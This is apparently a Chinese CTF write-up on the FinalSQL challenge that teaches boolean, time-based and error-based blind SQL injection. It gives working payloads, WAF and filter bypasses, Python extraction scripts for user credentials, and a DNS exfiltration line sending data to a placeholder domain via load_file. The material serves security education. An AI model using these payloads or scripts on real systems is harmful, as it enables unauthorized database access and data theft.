SQL注入实战:布尔、时间与报错盲注技术深度解析
1. 项目概述与核心挑战最近在复现和总结一些经典的CTFCapture The FlagWeb题目发现“[极客大挑战 2019]FinalSQL”这道题非常有意思它几乎把SQL注入中几种最考验耐心和技巧的“盲注”手法都融合在了一起。题目本身没有复杂的界面就一个简单的搜索框但背后却是一个典型的、无直接回显的注入场景。对于刚接触安全或者想深入理解SQL注入原理的朋友来说这道题是一个绝佳的练手材料它能让你彻底明白什么是“盲注”以及面对不同过滤和回显情况时我们手里有哪些武器可以破局。简单来说这道题模拟了一个存在SQL注入漏洞的搜索功能。当你输入关键词时后端会到数据库里查询但无论查询成功与否页面上都不会直接显示数据库中的数据或具体的SQL错误信息。你只能通过页面返回内容的“细微差别”来推断查询语句的执行结果这就是“盲注”的核心。题目之所以叫“FinalSQL”很可能意味着它综合了布尔盲注、时间盲注乃至报错注入等多种技巧是对SQL注入能力的一次“最终检验”。无论你是想入门Web安全还是想巩固自己的注入技巧跟着我一起拆解这道题都能收获不少实战经验。2. 注入环境探测与信息收集面对一个未知的注入点第一步永远不是直接上payload而是小心翼翼地“摸清”它的脾气。我们需要知道后端数据库的类型、查询语句的大致结构、有哪些过滤规则以及最重要的——我们如何判断一次查询是“真”还是“假”。2.1 初步交互与回显分析首先访问题目链接通常是一个简单的输入框可能提示“搜索”或者“查询”。我们尝试输入一些基础测试字符输入单引号‘观察页面是否报错、空白或者行为异常。如果直接显示了数据库错误如MySQL的You have an error in your SQL syntax那可能就是显错注入但根据题目名“FinalSQL”和常见套路大概率不会这么简单。更可能的情况是页面无变化或者返回一个统一的“无结果”页面。输入1‘ and ‘1’‘1和1‘ and ‘1’‘2这是布尔盲注的经典测试。如果第一个输入返回了正常页面比如有搜索结果而第二个输入返回了异常页面比如无结果那么基本可以确定存在基于布尔逻辑的盲注。页面内容的差异哪怕只是一个单词、一个标签的不同就是我们的“布尔值”判断依据。输入1‘ and sleep(5)--这是时间盲注的测试。如果页面响应延迟了大约5秒说明sleep()函数被执行了存在基于时间的盲注。时间盲注在页面无任何内容差异时是最后的武器。在我的实际测试中这道题很可能对单引号进行了处理或者查询语句结构比较特殊使得简单的and 11测试无效。这时就需要用更精巧的payload来探测比如利用运算逻辑1‘ or 11--和1‘ or 12--或者测试注释符--、#是否生效。注意在真实测试和CTF中一定要用Burp Suite这类工具拦截请求反复对比不同payload下HTTP响应的全部内容包括状态码、响应头、HTML源码长度和细微差异。有时判断依据可能隐藏在一个div的display属性是block还是none或者某个隐藏字段的值里。2.2 确定注入点与闭合方式通过初步测试我们假设找到了一个可以影响页面布尔状态的注入点。假设输入admin和admin‘ and ‘1’‘1效果相同而admin‘ and ‘1’‘2效果不同。那么原始SQL语句可能类似于SELECT * FROM users WHERE username ‘$input‘我们的输入admin‘ and ‘1’‘1闭合后变成SELECT * FROM users WHERE username ‘admin‘ and ‘1’‘1‘这样语句永远为真。这就是字符型注入的单引号闭合。但“FinalSQL”可能会设置陷阱比如使用(、)进行包裹例如SELECT * FROM articles WHERE (title LIKE ‘%$input%‘)。这时我们的闭合就需要考虑括号例如输入test‘) or (‘1’‘1。这一步的准确判断至关重要否则后续所有payload都会失效。需要耐心尝试‘、“、)、))等组合配合注释符来验证。2.3 识别过滤与绕过技巧题目为了增加难度通常会过滤一些关键词如select,union,or,and,空格或特殊字符如#,--。我们需要测试关键词过滤尝试大小写混合SeLeCt、双写selselectect、内联注释/*!select*/。空格过滤用/**/、%0a换行符、%0d回车符、%09制表符代替空格。例如union%0aselect。注释符过滤如果--和#被过滤我们需要用更巧妙的闭合方式让后续语句失效而不依赖注释。例如在字符串注入中我们可以用‘ or ‘1’‘1‘这种形式让最后一个单引号去闭合原语句的引号。根据网络热词中频繁出现的extractvalue和updatexml可以推测题目最终解法可能涉及报错注入。报错注入是一种特殊的盲注它利用数据库函数的特性故意构造错误的参数使数据库将错误信息其中可能包含我们查询的数据返回到页面上。即使页面不显示查询结果但可能会显示错误信息。这通常发生在and、or等逻辑运算符被过滤但函数调用仍被允许的情况下。3. 核心注入技术深度解析在摸清环境后我们需要系统性地运用各种注入技术。这道题很可能需要我们将这些技术组合使用。3.1 布尔盲注比特级的逻辑博弈布尔盲注的本质是与数据库进行一场“是”或“否”的问答游戏。我们通过构造SQL语句使其结果为真或假并根据页面反馈来推断数据。核心步骤是“猜解”。1. 猜解数据库名长度1‘ and length(database())8--如果页面返回“真”状态说明数据库名长度大于8。我们可以通过二分法、快速定位例如接着测试1612最终确定准确长度10。2. 逐位猜解数据库名1‘ and substr(database(),1,1)‘a‘--substr()函数用于截取字符串。这条语句询问“数据库名的第一个字母是‘a’吗”通过遍历a-z、0-9等字符根据页面真假即可确定第一位。然后依次猜解第二位substr(database(),2,1)直到最后一位。这个过程非常繁琐必须依赖脚本自动化。编写布尔盲注脚本Python示例import requests import time url “http://target.com/search.php“ success_sign “Search result found“ # 真页面包含的特征字符串 def inject(payload): data {‘keyword‘: payload} r requests.post(url, datadata) return success_sign in r.text # 猜解长度 def get_len(query): length 0 for i in range(1, 50): payload f“1‘ and ({query}){i}-- “ if inject(payload): length i break return length # 猜解字符串 def get_data(query, length): result ‘’ for pos in range(1, length1): for char in range(32, 127): # ASCII可打印字符 payload f“1‘ and ascii(substr(({query}),{pos},1)){char}-- “ if inject(payload): result chr(char) print(f“[*] Found: {result}“) break return result db_len get_len(“length(database())“) print(f“[] Database length: {db_len}“) db_name get_data(“database()“, db_len) print(f“[] Database name: {db_name}“)实操心得success_sign的选取是关键。一定要选择当查询为“真”时稳定出现而为“假”时绝对不出现的字符串或页面特征。有时可能是一个特定的HTML标签、一个隐藏的输入框值甚至是响应长度的差异用len(r.content)判断。在实战中需要反复对比确认。3.2 时间盲注当一切归于沉寂时的最后手段如果页面无论真假都完全一样布尔盲注就失效了。这时时间盲注是我们的救命稻草。其原理是构造一个条件语句如果为真则执行一个耗时的操作如sleep(2)如果为假则不执行。通过测量页面响应时间来判断条件真假。时间盲注Payload示例1‘ and if(ascii(substr(database(),1,1))100, sleep(2), 0)--这条语句的意思是如果数据库名第一个字母的ASCII码等于100即字母‘d’那么数据库就睡眠2秒否则立即返回。我们在脚本中记录响应时间如果明显超过2秒加上网络延迟就说明猜对了。时间盲注脚本的关键点import requests import time def inject_time(payload): start time.time() requests.post(url, data{‘keyword‘: payload}, timeout10) end time.time() return end - start def get_data_time(query, length): result ‘’ for pos in range(1, length1): for char in range(32, 127): payload f“1‘ and if(ascii(substr(({query}),{pos},1)){char}, sleep(1), 0)-- “ elapsed inject_time(payload) if elapsed 1.5: # 设置一个合理的阈值考虑网络波动 result chr(char) print(f“[] Pos {pos}: {chr(char)}“) break return result注意事项时间盲注极其缓慢且不稳定受网络延迟、服务器负载影响大。阈值如上面的1.5秒需要根据实际情况调整。在编写脚本时务必加入超时处理和重试机制。优先使用布尔盲注时间盲注仅作为备选。3.3 报错注入利用数据库的“口误”这是本题可能的核心考点。当and、or被过滤布尔和时间盲注难以构造时报错注入提供了另一种路径。它利用某些数据库函数参数错误时会返回参数内容这一特性。1. extractvalue() 函数extractvalue(XML_document, XPath_string)函数用于从XML文档中提取值。如果XPath_string格式错误它会将错误信息连同XPath_string的一部分内容一起返回。1‘ and extractvalue(1, concat(0x7e, (select database()), 0x7e))--0x7e是波浪号~的十六进制。concat将~、查询结果、~拼接成一个非法XPath格式~database_name~。执行时数据库会报错错误信息类似于XPATH syntax error: ‘~database_name~‘。这样我们就在错误信息中看到了数据库名。2. updatexml() 函数updatexml(XML_document, XPath_string, new_value)函数用于更新XML文档中的值。同样第二个参数XPath_string格式错误会导致报错。1‘ and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--报错信息类似XPATH syntax error: ‘~database_name~‘。为什么在这里用报错注入因为题目“FinalSQL”很可能过滤了and和or使得1‘ and 11--这类布尔逻辑失效。但是函数调用如extractvalue()可能未被过滤。我们可以用或||来替代and/or在MySQL中是AND的同义词||是OR的同义词但在默认SQL模式下||是字符串连接符需要注意。或者直接在可注入参数后连接报错函数例如1‘; select extractvalue(1, concat(0x7e, (select database())))--这取决于具体的SQL语句上下文。报错注入的链式利用报错注入一次只能返回一行一列的数据。要获取多行数据如表中的所有用户名需要结合limit子句。1‘ and extractvalue(1, concat(0x7e, (select username from users limit 0,1)))--1‘ and extractvalue(1, concat(0x7e, (select username from users limit 1,1)))--以此类推。4. 实战攻克“FinalSQL”全流程推演结合以上技术我们来推演攻克这道题的完整思路。假设场景为一个搜索框输入关键词后无明确回显但存在内容差异的布尔盲注点且常规and被过滤。4.1 第一步确认可用注入函数与姿势首先测试报错注入函数是否可用1‘ extractvalue(1,0x7e)--观察页面是否返回包含XPATH或~的错误信息。如果直接报错说明函数可用且错误信息被输出。这是最理想的情况。如果页面只是变空白或统一错误说明错误信息被后端屏蔽了但注入点可能依然存在。此时需回归布尔盲注但payload需要改造绕过and过滤。尝试用1‘ length(database())1--或者利用运算符优先级用、-、*、/、|、、^、、等构造布尔条件。例如在MySQL中11返回112返回0。我们可以用数学运算1‘ (select 1 from users where length(database())1) --如果查询成功即条件为真select返回1整个表达式为112可能影响页面如果为假select返回空或0表达式为101。通过对比这两种情况下的页面差异也能实现布尔判断。这需要极高的技巧和对查询语句的精确理解。4.2 第二步系统信息获取假设我们通过extractvalue报错注入成功获取了数据库名geek。1‘ || extractvalue(1, concat(0x7e, (select database()))) || ‘0‘ 接下来获取表名。在MySQL中系统表information_schema.tables存储了所有表信息。1‘ || extractvalue(1, concat(0x7e, (select table_name from information_schema.tables where table_schema‘geek‘ limit 0,1))) || ‘0‘ 可能会得到第一个表名例如users。继续修改limit 1,1、limit 2,1获取其他表。4.3 第三步获取字段名与数据获取users表的字段名1‘ || extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_schema‘geek‘ and table_name‘users‘ limit 0,1))) || ‘0‘假设得到字段id,username,password。最后获取数据例如flag可能藏在某个用户的password字段里1‘ || extractvalue(1, concat(0x7e, (select concat(username, ‘:‘, password) from users limit 0,1))) || ‘0‘这里用concat将用户名和密码合并成一个字符串通过报错信息一次性爆出。如果字符串太长extractvalue和updatexml只能显示约32个字符取决于MySQL版本可以使用substr分段截取1‘ || extractvalue(1, concat(0x7e, substr((select password from users limit 0,1), 1, 30))) || ‘0‘1‘ || extractvalue(1, concat(0x7e, substr((select password from users limit 0,1), 31, 30))) || ‘0‘4.4 第四步应对复杂过滤与最终Payload题目“Final”可能意味着最后一层过滤。例如可能过滤了select、substr、concat甚至0x十六进制。这时需要发挥创造力select被过滤尝试SeLeCt、/*!50000select*/MySQL版本特性、(select‘1‘)union(select‘2‘)中的select。substr被过滤用mid()、left()、right()函数替代。concat被过滤用concat_ws(0x7e, …)或直接使用||连接需设置SQL模式。空格被过滤用/**/替代。引号被过滤用十六进制0x...表示字符串例如table_schema0x6765656b‘geek‘的十六进制。一个可能绕过多重过滤的最终Payload示例1‘/**/||/**/updatexml(1,concat(0x7e,(/*!50000select*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name0x7573657273),0x7e),1)||‘0‘ 这个payload使用了内联注释/!50000select/、/**/代替空格、十六进制0x7573657273代替‘users‘字符串。5. 常见问题排查与脚本优化实录在实际操作中你一定会遇到各种意想不到的问题。下面是我踩过的一些坑和解决方案。5.1 问题页面无任何变化所有Payload似乎都无效排查思路确认注入点是否闭合方式错了尝试‘、“、)、“))等多种闭合。用#、--、%00等尝试注释掉后续语句。检查过滤是否所有关键词都被过滤了尝试输入一个绝对正确的单词看搜索是否正常。如果正常再输入一个包含select的单词看是否被拦截或返回异常。用Burp Suite的Intruder模块进行模糊测试快速发现被过滤的字符。观察细微差别是否判断依据选错了用diff工具对比两个不同payload响应体的HTML源码。关注所有属性值、注释、空格数量。有时真/假状态可能只差一个disabled属性或一个hidden的div。可能是时间盲注用sleep(5)测试响应时间。确保脚本中设置了足够的超时时间。5.2 问题报错注入有回显但数据不完整或被截断原因与解决extractvalue和updatexml的报错信息长度有限通常约32字符。对于长数据必须分段截取。使用substr()或mid()函数如上文所述按固定长度如30分段查询。使用limit子句如果一次报错只能显示一条数据的一部分需要结合limit遍历所有行并对每一行数据再进行分段。脚本自动化编写一个双层循环的脚本外层循环遍历行limit i,1内层循环遍历每行数据的字符段substr(data, j, 30)。5.3 问题脚本运行速度太慢尤其是时间盲注优化技巧二分法猜解不要从ASCII 32到127遍历。对于每一位字符先用‘m‘ASCII 109判断是在前半部分还是后半部分然后不断二分将猜解次数从95次降低到约7次log₂95。def get_char_binary(query, pos): low, high 32, 126 while low high: mid (low high) // 2 payload f“1‘ and ascii(substr(({query}),{pos},1)){mid}-- “ if inject(payload): # 如果大于mid low mid 1 else: high mid - 1 # 循环结束时low high且low-1 high1 是最终字符的ASCII return chr(low) # 或 chr(high1)多线程/异步请求对于时间盲注等待响应是主要耗时。可以使用Python的concurrent.futures或asyncio并发发送多个猜测请求但要注意不要对服务器造成过大压力CTF中通常允许真实环境中需谨慎。减少请求次数一次猜解多个信息。例如猜解数据库名时可以尝试猜解整个字符串的哈希值如md5(database())虽然需要本地爆破但只需要一次请求。但这依赖于你知道哈希值且本地算力足够。5.4 问题遇到WAFWeb应用防火墙或更智能的过滤进阶绕过思路编码绕过尝试URL编码、双重URL编码、十六进制编码、Unicode编码。例如select可以写成%73%65%6c%65%63%74。非常规语法使用like、rlike、regexp进行模糊匹配和盲注。使用into outfile或dumpfile将查询结果写入服务器文件然后通过其他方式读取需要写权限。利用DNS外带技术load_file()函数结合UNC路径或DNS解析将数据带出。例如select load_file(concat(‘\\\\‘, (select database()), ‘.your-domain.com\\test‘))。这会触发一次DNS查询你可以在DNS日志中看到数据库名。但这在CTF中较少见且需要服务器配置允许load_file和网络出口。二次注入如果注入点存在于数据存储环节如注册、留言而非即时查询环节可能形成二次注入。先存入恶意构造的数据当数据被后续逻辑调用时触发注入。攻克“FinalSQL”这类题目就像在解一个多维度的逻辑谜题。它考验的不仅是SQL语法熟练度更是对HTTP交互、Web应用逻辑、数据库特性的综合理解和耐心。从简单的布尔判断到精巧的报错利用每一步都需要严谨的测试和推理。我最深的体会是自动化脚本是你的双手但分析和思考的大脑才是核心。在写脚本之前一定要手工验证每一个判断逻辑是否可靠否则脚本跑出来的只是一堆垃圾数据。最后保持耐心享受这种在数字世界里“抽丝剥茧”的乐趣。

相关新闻

SWEET32漏洞解析与TLS密码套件安全升级实战指南

SWEET32漏洞解析与TLS密码套件安全升级实战指南

1. 项目概述:为什么我们需要重新审视TLS密码套件如果你负责过线上服务的运维,或者开发过需要处理敏感数据的应用,那么对TLS(传输层安全协议)一定不陌生。它就像互联网世界的“隐形保镖”,默默守护着每一次H…

2026/8/4 6:21:33 阅读更多 →
w3m命令行浏览器:服务器运维与自动化工作流的高效文本浏览工具

w3m命令行浏览器:服务器运维与自动化工作流的高效文本浏览工具

1. 从命令行到网页:为什么你需要了解 w3m在图形界面浏览器一统天下的今天,提起浏览器,大家脑海里蹦出来的多半是 Chrome、Edge、Firefox 这些庞然大物。它们功能丰富,界面华丽,但有时候,我们需要的可能恰恰…

2026/8/4 6:21:33 阅读更多 →
PoE 变压器漏感

PoE 变压器漏感

PoE 变压器漏感 在 PoE 隔离电源中,变压器漏感往往是导致尖峰、EMI 和 MOSFET 应力过大的关键因素。尤其在反激拓扑里,漏感虽然无法完全消除,但必须控制在合理范围内。 什么是漏感 理想变压器中,初级产生的磁通会全部耦合到次级…

2026/8/4 6:21:33 阅读更多 →

最新新闻

行业洞察系列 06 | 汽车制造的视觉革命

行业洞察系列 06 | 汽车制造的视觉革命

维视智造 行业洞察系列 06 汽车制造的视觉革命 AI视觉在新能源车与智能驾驶全产业链的深度应用 2026年8月 维视智造 战略部 出品标杆案例:上汽通用 长城汽车 中车集团 **摘要:**中国新能源汽车产销量已连续多年全球第一,整车制造、动力电…

2026/8/4 15:09:42 阅读更多 →
SpringBoot+Vue全栈社区养老服务平台开发实践

SpringBoot+Vue全栈社区养老服务平台开发实践

1. 项目背景与核心价值 人口老龄化已成为全球性社会问题,我国60岁以上人口占比已超过18%。这个基于SpringBootVue的全栈社区服务管理平台,正是针对老年群体日常生活痛点的数字化解决方案。我在实际开发中发现,传统社区服务存在三大短板&#…

2026/8/4 15:09:42 阅读更多 →
GPT-5.6 Sol与Fable 5实测对比:开发者如何选择最适合的代码生成与推理模型

GPT-5.6 Sol与Fable 5实测对比:开发者如何选择最适合的代码生成与推理模型

当开发者面对琳琅满目的大语言模型时,最常问的问题不是“哪个模型最厉害”,而是“哪个模型最适合我手头的任务”。是写代码、做分析、处理长文档,还是日常对话?不同的模型在特定场景下的表现天差地别,盲目追求“最强”…

2026/8/4 15:09:42 阅读更多 →
C++11统一列表初始化与std::initializer_list详解

C++11统一列表初始化与std::initializer_list详解

1. 从C98到C11:初始化方式的演进之路 在C98标准中,初始化操作一直是个令人头疼的问题。不同场景下的初始化语法差异巨大,新手经常被各种初始化方式搞得晕头转向。让我们先回顾一下C98时代的初始化方式: // 结构体初始化 struct …

2026/8/4 15:09:42 阅读更多 →
IoTDB在储能运维中的时序数据库选型与实践

IoTDB在储能运维中的时序数据库选型与实践

1. 从数据保管到数据驱动:储能运维的范式转变 在新能源行业摸爬滚打多年,我亲眼见证了储能系统运维从"被动响应"到"主动预防"的进化历程。传统运维平台就像个尽职的图书管理员——它们把设备数据分门别类地存放好,等出了…

2026/8/4 15:09:41 阅读更多 →
Godot项目逆向工程实战:从PCK包与字节码恢复可编辑源码

Godot项目逆向工程实战:从PCK包与字节码恢复可编辑源码

1. 项目概述:当你的Godot项目“失联”时在游戏开发这条路上,我见过太多同行因为一次误操作、一次硬盘故障,或者仅仅是接手一个“祖传”的、只有导出包的Godot项目而陷入困境。你手头可能只有一个孤零零的.pck文件,或者一堆看似天书…

2026/8/4 15:08:41 阅读更多 →

日新闻

AI Agent白手起家26: 使用标准事件驱动大模型实践

AI Agent白手起家26: 使用标准事件驱动大模型实践

纲要 练习目标:掌握大模型标准事件的调用回顾 LangChain 中的核心标准事件 invokestreambatchastream_eventswith_structured_output 环境准备实战代码:多种事件调用对比 同步调用与流式输出批量处理异步事件流监听结构化输出 运行说明与预期结果总结与扩…

2026/8/4 0:00:40 阅读更多 →
dealsea是什么?跨境卖家必知的美国deal站入门指南

dealsea是什么?跨境卖家必知的美国deal站入门指南

说实话,第一次听说美国这个老牌折扣网站的跨境卖家,十个有八个会问同一个问题:这个平台到底是干嘛的?我见过一个做家居出口的朋友,他在亚马逊上月销二十万美金,却从来没用过它。我给他看了首页——一屏一屏…

2026/8/4 0:01:40 阅读更多 →
清华大学重磅EST:植物自导电闪蒸焦耳热600°C/2600°C两步法!稀土超积累植物秒级转化为CeO₂-石墨烯电催化剂!

清华大学重磅EST:植物自导电闪蒸焦耳热600°C/2600°C两步法!稀土超积累植物秒级转化为CeO₂-石墨烯电催化剂!

通讯作者:邓兵、刘建国通讯单位:清华大学DOI:https://doi.org/10.1021/acs.est.6c00603研究背景稀土元素(REEs)是清洁能源技术与电子器件不可或缺的核心原料,然而传统提取方式依赖能耗高、排放大的采矿与强…

2026/8/4 0:01:40 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/4 13:24:41 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/4 11:41:39 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/4 5:26:40 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/4 13:38:24 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/4 11:09:16 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/4 13:38:40 阅读更多 →